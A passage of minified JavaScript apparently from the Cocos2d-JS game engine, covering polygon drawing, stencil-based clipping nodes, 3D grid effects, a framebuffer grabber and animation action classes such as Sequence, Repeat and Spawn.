- t:c,n:b.Ga({x:0,y:0})},{i:k,t:c,n:b.Ga({x:0,y:0})},{i:m,t:c,n:b.Ga({x:0,y:0})},t,s.length*r));for(g=0;g<p;g++){u=(g+1)%p;h=b.we(a[g]);k=b.we(a[u]);m=f[g].il;var v=f[g].offset,x=f[u].offset,u=q?b.oc(h,b.sd(v,d)):b.oc(h,b.sd(v,0.5)),z=q?b.oc(k,b.sd(x,d)):b.oc(k,b.sd(x,0.5));h=q?b.re(h,b.sd(v,d)):b.re(h,b.sd(v,0.5));k=q?b.re(k,b.sd(x,d)):b.re(k,b.sd(x,0.5));q?(s.push(new b.Sb({i:u,t:e,n:b.Ga(b.gg(m))},{i:z,t:e,n:b.Ga(b.gg(m))},{i:k,t:e,n:b.Ga(m)},t,s.length*r)),s.push(new b.Sb({i:u,t:e,n:b.Ga(b.gg(m))},
- {i:h,t:e,n:b.Ga(m)},{i:k,t:e,n:b.Ga(m)},t,s.length*r))):(s.push(new b.Sb({i:u,t:c,n:b.Ga({x:0,y:0})},{i:z,t:c,n:b.Ga({x:0,y:0})},{i:k,t:c,n:b.Ga(m)},t,s.length*r)),s.push(new b.Sb({i:u,t:c,n:b.Ga({x:0,y:0})},{i:h,t:c,n:b.Ga(m)},{i:k,t:c,n:b.Ga(m)},t,s.length*r)))}this.hb=!0}},jv:function(a,c,d,e){c=c||this.Yc;d=d||this.af;null==d.a&&(d.a=255);c*=0.5;if(!(0>=c)){d={r:0|d.r,g:0|d.g,b:0|d.b,a:0|d.a};var f=[],g,h,k,m,p=a.length;for(g=0;g<p;g++){h=b.we(a[(g-1+p)%p]);k=b.we(a[g]);m=b.we(a[(g+1)%p]);var q=
- b.Ct(b.Yp(b.oc(k,h)));k=b.Ct(b.Yp(b.oc(m,k)));f[g]={offset:b.sd(b.re(q,k),1/(b.FQ(q,k)+1)),il:k}}this.mr(3*(3*p-2));m=b.Sb.BYTES_PER_ELEMENT;var q=this.yj,r=this.ab;e=e?p:p-1;for(g=0;g<e;g++){var t=(g+1)%p;h=b.we(a[g]);k=b.we(a[t]);var s=f[g].il,u=f[g].offset,t=f[t].offset,v=b.oc(h,b.sd(u,c));h=b.re(h,b.sd(u,c));u=b.re(k,b.sd(t,c));r.push(new b.Sb({i:v,t:d,n:b.Ga(b.gg(s))},{i:b.oc(k,b.sd(t,c)),t:d,n:b.Ga(b.gg(s))},{i:u,t:d,n:b.Ga(s)},q,r.length*m));r.push(new b.Sb({i:v,t:d,n:b.Ga(b.gg(s))},{i:h,t:d,
- n:b.Ga(s)},{i:u,t:d,n:b.Ga(s)},q,r.length*m))}this.hb=!0}},clear:function(){this.ab.length=0;this.hb=!0}});b.Jd=b.B==b.W?b.AR:b.zR;b.Jd.create=function(){return new b.Jd};b.ik=function(a){this.type=a;this.fillColor=this.hg=null;this.lineWidth=0;this.Kj=null;this.lineCap="butt";this.el=this.AF=this.Lx=!1};b.Jd.iI=0;b.Jd.uU=1;b.Jd.ek=2;b.vt=-1;b.TP=function(a,c){a.shaderProgram=c;var d=a.children;if(d)for(var e=0;e<d.length;e++)b.TP(d[e],c)};
- b.dc=b.m.extend({Em:0,Kh:!1,ld:null,BK:!1,ctor:function(a){b.m.prototype.ctor.call(this);this.ld=null;this.Em=0;this.Kh=!1;b.dc.prototype.ba.call(this,a||null)},ba:null,ub:"ClippingNode",yX:function(a){this.ld=a;this.Em=1;this.Kh=!1;b.dc.ZB=!0;b.dc.ZB&&(b.vt=b.l.getParameter(b.l.STENCIL_BITS),0>=b.vt&&b.log("Stencil buffer is not enabled."),b.dc.ZB=!1);return!0},xX:function(a){this.ld=a;this.Em=1;this.Kh=!1},aa:function(){b.m.prototype.aa.call(this);this.ld.aa()},Nh:function(){b.m.prototype.Nh.call(this);
- this.ld.Nh()},Vf:function(){this.ld.Vf();b.m.prototype.Vf.call(this)},xb:function(){this.ld.xb();b.m.prototype.xb.call(this)},U:null,ps:function(a){var c=a||b.l;if(1>b.vt)b.m.prototype.U.call(this,a);else if(this.ld&&this.ld.visible)if(b.dc.Kv+1==b.vt)b.dc.$D=!0,b.dc.$D&&(b.log("Nesting more than "+b.vt+"stencils is not supported. Everything will be drawn without stencil for this node and its childs."),b.dc.$D=!1),b.m.prototype.U.call(this,a);else{b.dc.Kv++;var d=1<<b.dc.Kv,e=d|d-1,f=c.isEnabled(c.STENCIL_TEST),
- g=c.getParameter(c.STENCIL_WRITEMASK),h=c.getParameter(c.STENCIL_FUNC),k=c.getParameter(c.STENCIL_REF),m=c.getParameter(c.STENCIL_VALUE_MASK),p=c.getParameter(c.STENCIL_FAIL),q=c.getParameter(c.STENCIL_PASS_DEPTH_FAIL),r=c.getParameter(c.STENCIL_PASS_DEPTH_PASS);c.enable(c.STENCIL_TEST);c.stencilMask(d);var t=c.getParameter(c.DEPTH_WRITEMASK);c.depthMask(!1);c.stencilFunc(c.NEVER,d,d);c.stencilOp(this.Kh?c.REPLACE:c.ZERO,c.KEEP,c.KEEP);b.of(b.ah);b.Gj();b.fl();b.of(b.$g);b.Gj();b.fl();b.ye.lN(b.d(-1,
- -1),b.d(1,1),b.color(255,255,255,255));b.of(b.ah);b.Fj();b.of(b.$g);b.Fj();c.stencilFunc(c.NEVER,d,d);c.stencilOp(this.Kh?c.ZERO:c.REPLACE,c.KEEP,c.KEEP);if(1>this.Em){var d=b.Hd.nc(b.ru),s=c.getUniformLocation(d.Vm(),b.SI);b.kF(d.Vm());d.rt(s,this.Em);b.TP(this.ld,d)}b.Gj();this.transform();this.ld.U();b.Fj();c.depthMask(t);c.stencilFunc(c.EQUAL,e,e);c.stencilOp(c.KEEP,c.KEEP,c.KEEP);b.m.prototype.U.call(this,a);c.stencilFunc(h,k,m);c.stencilOp(p,q,r);c.stencilMask(g);f||c.disable(c.STENCIL_TEST);
- b.dc.Kv--}else this.Kh&&b.m.prototype.U.call(this,a)},zm:function(a){if(this.ld&&this.ld.visible){a=a||b.l;var c=a.canvas;if(this.jB()||this.ld instanceof b.D){var d=b.dc.mX();d.width=c.width;d.height=c.height;d.getContext("2d").drawImage(c,0,0);a.save();b.m.prototype.U.call(this,a);a.globalCompositeOperation=this.Kh?"destination-out":"destination-in";this.transform(a);this.ld.U();a.restore();a.save();a.setTransform(1,0,0,1,0,0);a.globalCompositeOperation="destination-over";a.drawImage(d,0,0)}else{var d=
- this.u,e;a.save();this.transform(a);this.ld.U(a);this.Kh&&(a.save(),a.setTransform(1,0,0,1,0,0),a.moveTo(0,0),a.lineTo(0,c.height),a.lineTo(c.width,c.height),a.lineTo(c.width,0),a.lineTo(0,0),a.restore());a.clip();this.jB(!0);var f=d.length;if(0<f){this.Sc();for(c=0;c<f;c++)if(e=d[c],0>e.Bb)e.U(a);else break;for(this.Z(a);c<f;c++)d[c].U(a)}else this.Z(a);this.jB(!1)}a.restore()}else this.Kh&&b.m.prototype.U.call(this,a)},Y1:function(){return this.ld},tG:null,iZ:function(a){this.ld=a},hZ:function(a){this.ld=
- a;var c=b.l;!(a instanceof b.D)&&a instanceof b.Jd&&(a.Z=function(){var d=b.view.ka,e=b.view.La;c.beginPath();for(var f=0;f<a.ab.length;f++){var g=a.ab[f].hg,h=g[0];c.moveTo(h.x*d,-h.y*e);for(var h=1,k=g.length;h<k;h++)c.lineTo(g[h].x*d,-g[h].y*e)}})},Vba:function(){return this.Em},rja:function(a){this.Em=a},Uea:function(){return this.Kh},bka:function(a){this.Kh=a},jB:function(a){if(!0===a||!1===a)b.dc.prototype.BK=a;return b.dc.prototype.BK}});n=b.dc.prototype;
- b.B===b.W?(n.ba=n.yX,n.U=n.ps,n.tG=n.iZ):(n.ba=n.xX,n.U=n.zm,n.tG=n.hZ);b.j(n,"stencil",n.Y1,n.tG);b.dc.ZB=null;b.dc.$D=null;b.dc.Kv=-1;b.dc.YL=null;b.dc.mX=function(){return b.dc.YL||(b.dc.YL=document.createElement("canvas"))};b.dc.create=function(a){return new b.dc(a)};b.xn=b.oa.extend({nk:!1,oi:0,Y:null,I:null,Cg:null,qo:null,Wl:!1,Eb:null,uB:0,hb:!1,ctor:function(a,c,d){b.nB();this.nk=!1;this.oi=0;this.I=this.Y=null;this.Cg=b.d(0,0);this.qo=null;this.Wl=!1;this.Eb=null;this.uB=0;this.hb=!1;void 0!==a&&this.Hx(a,c,d)},nf:function(){return this.nk},setActive:function(a){this.nk=a;if(!a){a=b.J;var c=a.rp();a.pl(c)}},Jda:function(){return this.oi},y5:function(a){this.oi=a},k1:function(){return b.size(this.Y.width,this.Y.height)},Zja:function(a){this.Y.width=parseInt(a.width);
- this.Y.height=parseInt(a.height)},eF:function(){return b.d(this.Cg.x,this.Cg.y)},Nka:function(a){this.Cg.x=a.x;this.Cg.y=a.y},gfa:function(){return this.Wl},Uka:function(a){this.Wl!=a&&(this.Wl=a,this.Zw())},Hx:function(a,c,d){if(!c){var e=b.J.Ls(),f=b.ak(e.width),g=b.ak(e.height),h=new Uint8Array(f*g*4);if(!h)return b.log("cocos2d: CCGrid: not enough memory."),!1;c=new b.da;c.Ps(h,b.da.Ui,f,g,e);if(!c)return b.log("cocos2d: CCGrid: error creating texture"),!1}this.nk=!1;this.oi=0;this.Y=a;this.I=
- c;this.Wl=d||!1;this.Cg.x=this.I.width/a.width;this.Cg.y=this.I.height/a.height;this.qo=new b.TR;if(!this.qo)return!1;this.qo.j2(this.I);this.Eb=b.Hd.nc(b.Gq);this.Zw();return!0},xs:function(){this.uB=b.J.rp();this.O4();this.qo.z_(this.I)},ts:function(a){this.qo.d_(this.I);b.J.pl(this.uB);if(a.Tm().zF()){var c=a.jx();b.Ap(c.x,c.y);a.Tm().Ws();b.Ap(-c.x,-c.y)}b.oe(this.I);this.jE()},jE:function(){b.log("cc.GridBase.blit(): Shall be overridden in subclass.")},aG:function(){b.log("cc.GridBase.reuse(): Shall be overridden in subclass.")},
- Zw:function(){b.log("cc.GridBase.calculateVertexPoints(): Shall be overridden in subclass.")},O4:function(){var a=b.J.Ls();b.l.viewport(0,0,a.width,a.height);b.of(b.ah);b.fl();var c=new b.ca;b.DF(c,0,a.width,0,a.height,-1,1);b.zp(c);b.of(b.$g);b.fl();b.UP()}});b.xn.create=function(a,c,d){return new b.xn(a,c,d)};
- b.wz=b.xn.extend({Eg:null,Qa:null,jj:null,jb:null,Lf:null,cd:null,Ff:null,ctor:function(a,c,d){b.xn.prototype.ctor.call(this);this.Ff=this.cd=this.Lf=this.jb=this.jj=this.Qa=this.Eg=null;void 0!==a&&this.Hx(a,c,d)},HQ:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.vertex() : Numbers must be integers");a=0|3*(a.x*(this.Y.height+1)+a.y);var c=this.Qa;return new N(c[a],c[a+1],c[a+2])},Gc:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.originalVertex() : Numbers must be integers");
- a=0|3*(a.x*(this.Y.height+1)+a.y);var c=this.jj;return new N(c[a],c[a+1],c[a+2])},Gd:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.Grid3D.setVertex() : Numbers must be integers");var d=0|3*(a.x*(this.Y.height+1)+a.y),e=this.Qa;e[d]=c.x;e[d+1]=c.y;e[d+2]=c.z;this.hb=!0},jE:function(){var a=this.Y.width*this.Y.height;b.Ec(b.Kd|b.In);this.Eb.Ic();this.Eb.tt();var c=b.l,d=this.hb;c.bindBuffer(c.ARRAY_BUFFER,this.cd);d&&c.bufferData(c.ARRAY_BUFFER,this.Qa,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.ob,
- 3,c.FLOAT,!1,0,0);c.bindBuffer(c.ARRAY_BUFFER,this.Lf);d&&c.bufferData(c.ARRAY_BUFFER,this.Eg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.vd,2,c.FLOAT,!1,0,0);c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,this.Ff);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.jb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.hb=!1);b.Tf()},aG:function(){if(0<this.oi){for(var a=this.jj,c=this.Qa,d=0,e=this.Qa.length;d<e;d++)a[d]=c[d];--this.oi}},Zw:function(){var a=b.l,c=this.I.pixelsWidth,d=this.I.pixelsHeight,
- e=this.I.Q.height,f=this.Y,g=(f.width+1)*(f.height+1);this.Qa=new Float32Array(3*g);this.Eg=new Float32Array(2*g);this.jb=new Uint16Array(f.width*f.height*6);this.cd&&a.deleteBuffer(this.cd);this.cd=a.createBuffer();this.Lf&&a.deleteBuffer(this.Lf);this.Lf=a.createBuffer();this.Ff&&a.deleteBuffer(this.Ff);this.Ff=a.createBuffer();for(var h,k,m=this.jb,p=this.Eg,q=this.Wl,r=this.Qa,g=0;g<f.width;++g)for(h=0;h<f.height;++h){var t=h*f.width+g;k=g*this.Cg.x;var s=k+this.Cg.x,u=h*this.Cg.y,v=u+this.Cg.y,
- x=g*(f.height+1)+h,z=(g+1)*(f.height+1)+h,D=(g+1)*(f.height+1)+(h+1),F=g*(f.height+1)+(h+1);m[6*t]=x;m[6*t+1]=z;m[6*t+2]=F;m[6*t+3]=z;m[6*t+4]=D;m[6*t+5]=F;var t=[3*x,3*z,3*D,3*F],B=[{x:k,y:u,z:0},{x:s,y:u,z:0},{x:s,y:v,z:0},{x:k,y:v,z:0}],x=[2*x,2*z,2*D,2*F],s=[b.d(k,u),b.d(s,u),b.d(s,v),b.d(k,v)];for(k=0;4>k;++k)r[t[k]]=B[k].x,r[t[k]+1]=B[k].y,r[t[k]+2]=B[k].z,p[x[k]]=s[k].x/c,p[x[k]+1]=q?(e-s[k].y)/d:s[k].y/d}this.jj=new Float32Array(this.Qa);a.bindBuffer(a.ARRAY_BUFFER,this.cd);a.bufferData(a.ARRAY_BUFFER,
- this.Qa,a.DYNAMIC_DRAW);a.bindBuffer(a.ARRAY_BUFFER,this.Lf);a.bufferData(a.ARRAY_BUFFER,this.Eg,a.DYNAMIC_DRAW);a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.Ff);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.jb,a.STATIC_DRAW);this.hb=!0}});b.wz.create=function(a,c,d){return new b.wz(a,c,d)};
- b.yA=b.xn.extend({Eg:null,Qa:null,jj:null,jb:null,Lf:null,cd:null,Ff:null,ctor:function(a,c,d){b.xn.prototype.ctor.call(this);this.Ff=this.cd=this.Lf=this.jb=this.jj=this.Qa=this.Eg=null;void 0!==a&&this.Hx(a,c,d)},qQ:function(a){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.tile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.Qa;return new b.ku(new N(c[a],c[a+1],c[a+2]),new N(c[a+3],c[a+4],c[a+5]),new N(c[a+6],c[a+7],c[a+8]),new N(c[a+9],c[a+10],c[a+11]))},Wf:function(a){a.x===
- (0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.originalTile() : Numbers must be integers");a=12*(this.Y.height*a.x+a.y);var c=this.jj;return new b.ku(new N(c[a],c[a+1],c[a+2]),new N(c[a+3],c[a+4],c[a+5]),new N(c[a+6],c[a+7],c[a+8]),new N(c[a+9],c[a+10],c[a+11]))},Qe:function(a,c){a.x===(0|a.x)&&a.y===(0|a.y)||b.log("cc.TiledGrid3D.setTile() : Numbers must be integers");var d=12*(this.Y.height*a.x+a.y),e=this.Qa;e[d]=c.F.x;e[d+1]=c.F.y;e[d+2]=c.F.z;e[d+3]=c.O.x;e[d+4]=c.O.y;e[d+5]=c.O.z;e[d+6]=c.N.x;
- e[d+7]=c.N.y;e[d+8]=c.N.z;e[d+9]=c.L.x;e[d+10]=c.L.y;e[d+11]=c.L.z;this.hb=!0},jE:function(){var a=this.Y.width*this.Y.height;this.Eb.Ic();this.Eb.tt();var c=b.l,d=this.hb;b.Ec(b.Kd|b.In);c.bindBuffer(c.ARRAY_BUFFER,this.cd);d&&c.bufferData(c.ARRAY_BUFFER,this.Qa,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.ob,3,c.FLOAT,!1,0,this.Qa);c.bindBuffer(c.ARRAY_BUFFER,this.Lf);d&&c.bufferData(c.ARRAY_BUFFER,this.Eg,c.DYNAMIC_DRAW);c.vertexAttribPointer(b.vd,2,c.FLOAT,!1,0,this.Eg);c.bindBuffer(c.ELEMENT_ARRAY_BUFFER,
- this.Ff);d&&c.bufferData(c.ELEMENT_ARRAY_BUFFER,this.jb,c.STATIC_DRAW);c.drawElements(c.TRIANGLES,6*a,c.UNSIGNED_SHORT,0);d&&(this.hb=!1);b.Tf()},aG:function(){if(0<this.oi){for(var a=this.Qa,c=this.jj,d=0;d<a.length;d++)c[d]=a[d];--this.oi}},Zw:function(){var a=this.I.pixelsWidth,c=this.I.pixelsHeight,d=this.I.Q.height,e=this.Y,f=e.width*e.height;this.Qa=new Float32Array(12*f);this.Eg=new Float32Array(8*f);this.jb=new Uint16Array(6*f);var g=b.l;this.cd&&g.deleteBuffer(this.cd);this.cd=g.createBuffer();
- this.Lf&&g.deleteBuffer(this.Lf);this.Lf=g.createBuffer();this.Ff&&g.deleteBuffer(this.Ff);this.Ff=g.createBuffer();var h,k,m=0,p=this.Cg,q=this.Qa,r=this.Eg,t=this.Wl;for(h=0;h<e.width;h++)for(k=0;k<e.height;k++){var s=h*p.x,u=s+p.x,v=k*p.y,x=v+p.y;q[12*m]=s;q[12*m+1]=v;q[12*m+2]=0;q[12*m+3]=u;q[12*m+4]=v;q[12*m+5]=0;q[12*m+6]=s;q[12*m+7]=x;q[12*m+8]=0;q[12*m+9]=u;q[12*m+10]=x;q[12*m+11]=0;var z=v,D=x;t&&(z=d-v,D=d-x);r[8*m]=s/a;r[8*m+1]=z/c;r[8*m+2]=u/a;r[8*m+3]=z/c;r[8*m+4]=s/a;r[8*m+5]=D/c;r[8*
- m+6]=u/a;r[8*m+7]=D/c;m++}a=this.jb;for(h=0;h<f;h++)a[6*h+0]=4*h+0,a[6*h+1]=4*h+1,a[6*h+2]=4*h+2,a[6*h+3]=4*h+1,a[6*h+4]=4*h+2,a[6*h+5]=4*h+3;this.jj=new Float32Array(this.Qa);g.bindBuffer(g.ARRAY_BUFFER,this.cd);g.bufferData(g.ARRAY_BUFFER,this.Qa,g.DYNAMIC_DRAW);g.bindBuffer(g.ARRAY_BUFFER,this.Lf);g.bufferData(g.ARRAY_BUFFER,this.Eg,g.DYNAMIC_DRAW);g.bindBuffer(g.ELEMENT_ARRAY_BUFFER,this.Ff);g.bufferData(g.ELEMENT_ARRAY_BUFFER,this.jb,g.DYNAMIC_DRAW);this.hb=!0}});
- b.yA.create=function(a,c,d){return new b.yA(a,c,d)};b.TR=b.oa.extend({Iu:null,ki:null,iL:null,po:null,ctor:function(){b.nB();this.po=b.l;this.iL=[0,0,0,0];this.ki=null;this.Iu=this.po.createFramebuffer()},j2:function(a){var c=this.po;this.ki=c.getParameter(c.FRAMEBUFFER_BINDING);c.bindFramebuffer(c.FRAMEBUFFER,this.Iu);c.framebufferTexture2D(c.FRAMEBUFFER,c.COLOR_ATTACHMENT0,c.TEXTURE_2D,a.Sd,0);c.checkFramebufferStatus(c.FRAMEBUFFER)!=c.FRAMEBUFFER_COMPLETE&&b.log("Frame Grabber: could not attach texture to frmaebuffer");c.bindFramebuffer(c.FRAMEBUFFER,
- this.ki)},z_:function(){var a=this.po;this.ki=a.getParameter(a.FRAMEBUFFER_BINDING);a.bindFramebuffer(a.FRAMEBUFFER,this.Iu);this.iL=a.getParameter(a.COLOR_CLEAR_VALUE);a.clearColor(0,0,0,0);a.clear(a.COLOR_BUFFER_BIT|a.DEPTH_BUFFER_BIT)},d_:function(){var a=this.po;a.bindFramebuffer(a.FRAMEBUFFER,this.ki);a.colorMask(!0,!0,!0,!0)},Iaa:function(){this.po.deleteFramebuffer(this.Iu)}});b.on=-1;
- b.td=b.oa.extend({originalTarget:null,target:null,tag:b.on,ctor:function(){this.target=this.originalTarget=null;this.tag=b.on},copy:function(){b.log("copy is deprecated. Please use clone instead.");return this.k()},k:function(){var a=new b.td;a.originalTarget=null;a.target=null;a.tag=this.tag;return a},Lg:function(){return!0},A:function(a){this.target=this.originalTarget=a},stop:function(){this.target=null},step:function(){b.log("[Action step]. override me")},update:function(){b.log("[Action update]. override me")},$da:function(){return this.target},
- uG:function(a){this.target=a},tda:function(){return this.originalTarget},uka:function(a){this.originalTarget=a},fF:function(){return this.tag},Ly:function(a){this.tag=a},uy:function(){},Mi:function(){}});b.action=function(){return new b.td};b.td.create=b.action;b.Ti=b.td.extend({p:0,ctor:function(){b.td.prototype.ctor.call(this);this.p=0},np:function(){return this.p*(this.Xb||1)},Yf:function(a){this.p=a},reverse:function(){b.log("cocos2d: FiniteTimeAction#reverse: Implement me");return null},k:function(){return new b.Ti}});
- b.uu=b.td.extend({he:0,kb:null,ctor:function(a,c){b.td.prototype.ctor.call(this);this.he=0;this.kb=null;a&&this.$(a,c)},qx:function(){return this.he},Oe:function(a){this.he=a},$:function(a,c){if(!a)throw"cc.Speed.initWithAction(): action must be non nil";this.kb=a;this.he=c;return!0},k:function(){var a=new b.uu;a.$(this.kb.k(),this.he);return a},A:function(a){b.td.prototype.A.call(this,a);this.kb.A(a)},stop:function(){this.kb.stop();b.td.prototype.stop.call(this)},step:function(a){this.kb.step(a*
- this.he)},Lg:function(){return this.kb.Lg()},reverse:function(){return new b.uu(this.kb.reverse(),this.he)},MP:function(a){this.kb!=a&&(this.kb=a)},YE:function(){return this.kb}});b.speed=function(a,c){return new b.uu(a,c)};b.uu.create=b.speed;
- b.vz=b.td.extend({lo:null,Qn:!1,Xu:!1,zv:null,sr:null,dE:null,Ym:0,dn:0,jn:0,Fm:0,ctor:function(a,c){b.td.prototype.ctor.call(this);this.lo=null;this.Xu=this.Qn=!1;this.sr=this.zv=null;this.Fm=this.jn=this.dn=this.Ym=0;this.dE=b.rect(0,0,0,0);a&&(c?this.yp(a,c):this.yp(a))},k:function(){var a=new b.vz,c=this.dE;a.yp(this.lo,new b.RH(c.x,c.y,c.width,c.height));return a},Pea:function(){return this.Qn},vja:function(a){this.Qn=a},yp:function(a,c){if(!a)throw"cc.Follow.initWithAction(): followedNode must be non nil";
- c=c||b.rect(0,0,0,0);this.lo=a;this.dE=c;this.Qn=!b.PC(c);this.Xu=!1;var d=b.J.ya();this.sr=b.d(d.width,d.height);this.zv=b.Ki(this.sr,0.5);this.Qn&&(this.Ym=-(c.x+c.width-this.sr.x),this.dn=-c.x,this.jn=-c.y,this.Fm=-(c.y+c.height-this.sr.y),this.dn<this.Ym&&(this.dn=this.Ym=(this.Ym+this.dn)/2),this.jn<this.Fm&&(this.jn=this.Fm=(this.jn+this.Fm)/2),this.jn==this.Fm&&this.Ym==this.dn&&(this.Xu=!0));return!0},step:function(){var a=this.lo.x,c=this.lo.y,a=this.zv.x-a,c=this.zv.y-c;this.Qn?this.Xu||
- this.target.T(b.Qc(a,this.Ym,this.dn),b.Qc(c,this.Fm,this.jn)):this.target.T(a,c)},Lg:function(){return!this.lo.running},stop:function(){this.target=null;b.td.prototype.stop.call(this)}});b.N0=function(a,c){return new b.vz(a,c)};b.vz.create=b.N0;b.v=b.Ti.extend({ib:0,uv:!1,ug:null,Xb:1,Ur:!1,Go:!1,he:1,$r:!1,ctor:function(a){this.Xb=this.he=1;this.Ur=!1;this.MAX_VALUE=2;this.$r=this.Go=!1;b.Ti.prototype.ctor.call(this);void 0!==a&&this.e(a)},zca:function(){return this.ib},e:function(a){this.p=0===a?b.$t:a;this.ib=0;return this.uv=!0},Lg:function(){return this.ib>=this.p},va:function(a){a.Ur=this.Ur;a.he=this.he;a.Xb=this.Xb;a.ug=this.ug;a.$r=this.$r;a.Go=this.Go},fe:function(a){if(this.ug){a.ug=[];for(var c=0;c<this.ug.length;c++)a.ug.push(this.ug[c].reverse())}},
- k:function(){var a=new b.v(this.p);this.va(a);return a},Ra:function(a){this.ug?this.ug.length=0:this.ug=[];for(var c=0;c<arguments.length;c++)this.ug.push(arguments[c]);return this},gd:function(a){var c=this.ug;if(!c||0===c.length)return a;for(var d=0,e=c.length;d<e;d++)a=c[d].Ra(a);return a},step:function(a){this.uv?(this.uv=!1,this.ib=0):this.ib+=a;a=this.ib/(1.192092896E-7<this.p?this.p:1.192092896E-7);a=1>a?a:1;this.update(0<a?a:0);this.Go&&1<this.Xb&&this.Lg()&&(this.Ur||this.Xb--,this.A(this.target),
- this.step(this.ib-this.p))},A:function(a){b.td.prototype.A.call(this,a);this.ib=0;this.uv=!0},reverse:function(){b.log("cc.IntervalAction: reverse not implemented.");return null},en:function(){b.log("cc.ActionInterval.setAmplitudeRate(): it should be overridden in subclass.")},Sm:function(){b.log("cc.ActionInterval.getAmplitudeRate(): it should be overridden in subclass.");return 0},speed:function(a){if(0>=a)return b.log("The speed parameter error"),this;this.$r=!0;this.he*=a;return this},qx:function(){return this.he},
- Oe:function(a){this.he=a;return this},repeat:function(a){a=Math.round(a);if(isNaN(a)||1>a)return b.log("The repeat parameter error"),this;this.Go=!0;this.Xb*=a;return this},tP:function(){this.Go=!0;this.Xb=this.MAX_VALUE;this.Ur=!0;return this}});b.VZ=function(a){return new b.v(a)};b.v.create=b.VZ;
- b.Ve=b.v.extend({ai:null,bM:null,Fr:0,ctor:function(a){b.v.prototype.ctor.call(this);this.ai=[];var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f<d;f++)c[f]&&(e=b.Ve.Wi(e,c[f]));this.Wm(e,c[d])}},Wm:function(a,c){if(!a||!c)throw"cc.Sequence.initWithTwoActions(): arguments must all be non nil";this.e(a.p+c.p);this.ai[0]=a;this.ai[1]=c;return!0},k:function(){var a=new b.Ve;this.va(a);a.Wm(this.ai[0].k(),
- this.ai[1].k());return a},A:function(a){b.v.prototype.A.call(this,a);this.bM=this.ai[0].p/this.p;this.Fr=-1},stop:function(){-1!==this.Fr&&this.ai[this.Fr].stop();b.td.prototype.stop.call(this)},update:function(a){a=this.gd(a);var c=0,d=this.bM,e=this.ai,f=this.Fr;a<d?(a=0!==d?a/d:1,0===c&&1===f&&(e[1].update(0),e[1].stop())):(c=1,a=1===d?1:(a-d)/(1-d),-1===f&&(e[0].A(this.target),e[0].update(1),e[0].stop()),f||(e[0].update(1),e[0].stop()));f===c&&e[c].Lg()||(f!==c&&e[c].A(this.target),e[c].update(a),
- this.Fr=c)},reverse:function(){var a=b.Ve.Wi(this.ai[1].reverse(),this.ai[0].reverse());this.va(a);this.fe(a);return a}});b.Hb=function(a){var c=a instanceof Array?a:arguments;0<c.length&&null==c[c.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var d=c[0],e=1;e<c.length;e++)c[e]&&(d=b.Ve.Wi(d,c[e]));return d};b.Ve.create=b.Hb;b.Ve.Wi=function(a,c){var d=new b.Ve;d.Wm(a,c);return d};
- b.mu=b.v.extend({Xb:0,Vk:0,oC:0,hJ:!1,kb:null,ctor:function(a,c){b.v.prototype.ctor.call(this);void 0!==c&&this.$(a,c)},$:function(a,c){return this.e(a.p*c)?(this.Xb=c,this.kb=a,a instanceof b.se&&(this.hJ=!0,this.Xb-=1),this.Vk=0,!0):!1},k:function(){var a=new b.mu;this.va(a);a.$(this.kb.k(),this.Xb);return a},A:function(a){this.Vk=0;this.oC=this.kb.p/this.p;b.v.prototype.A.call(this,a);this.kb.A(a)},stop:function(){this.kb.stop();b.td.prototype.stop.call(this)},update:function(a){a=this.gd(a);var c=
- this.kb,d=this.p,e=this.Xb,f=this.oC;if(a>=f){for(;a>f&&this.Vk<e;)c.update(1),this.Vk++,c.stop(),c.A(this.target),this.oC=f+=c.p/d;1<=a&&this.Vk<e&&this.Vk++;this.hJ||(this.Vk===e?(c.update(1),c.stop()):c.update(a-(f-c.p/d)))}else c.update(a*e%1)},Lg:function(){return this.Vk==this.Xb},reverse:function(){var a=new b.mu(this.kb.reverse(),this.Xb);this.va(a);this.fe(a);return a},MP:function(a){this.kb!=a&&(this.kb=a)},YE:function(){return this.kb}});b.repeat=function(a,c){return new b.mu(a,c)};
- b.mu.create=b.repeat;
- b.nu=b.v.extend({kb:null,ctor:function(a){b.v.prototype.ctor.call(this);this.kb=null;a&&this.$(a)},$:function(a){if(!a)throw"cc.RepeatForever.initWithAction(): action must be non null";this.kb=a;return!0},k:function(){var a=new b.nu;this.va(a);a.$(this.kb.k());return a},A:function(a){b.v.prototype.A.call(this,a);this.kb.A(a)},step:function(a){var c=this.kb;c.step(a);c.Lg()&&(c.A(this.target),c.step(c.ib-c.p))},Lg:function(){return!1},reverse:function(){var a=new b.nu(this.kb.reverse());this.va(a);
- this.fe(a);return a},MP:function(a){this.kb!=a&&(this.kb=a)},YE:function(){return this.kb}});b.tP=function(a){return new b.nu(a)};b.nu.create=b.tP;
- b.Fl=b.v.extend({hj:null,zj:null,ctor:function(a){b.v.prototype.ctor.call(this);this.zj=this.hj=null;var c=a instanceof Array?a:arguments,d=c.length-1;0<=d&&null==c[d]&&b.log("parameters should not be ending with null in Javascript");if(0<=d){for(var e=c[0],f=1;f<d;f++)c[f]&&(e=b.Fl.Wi(e,c[f]));this.Wm(e,c[d])}},Wm:function(a,c){if(!a||!c)throw"cc.Spawn.initWithTwoActions(): arguments must all be non null";var d=!1,e=a.p,f=c.p;this.e(Math.max(e,f))&&(this.hj=a,this.zj=c,e>f?this.zj=b.Ve.Wi(c,b.Ud(e-
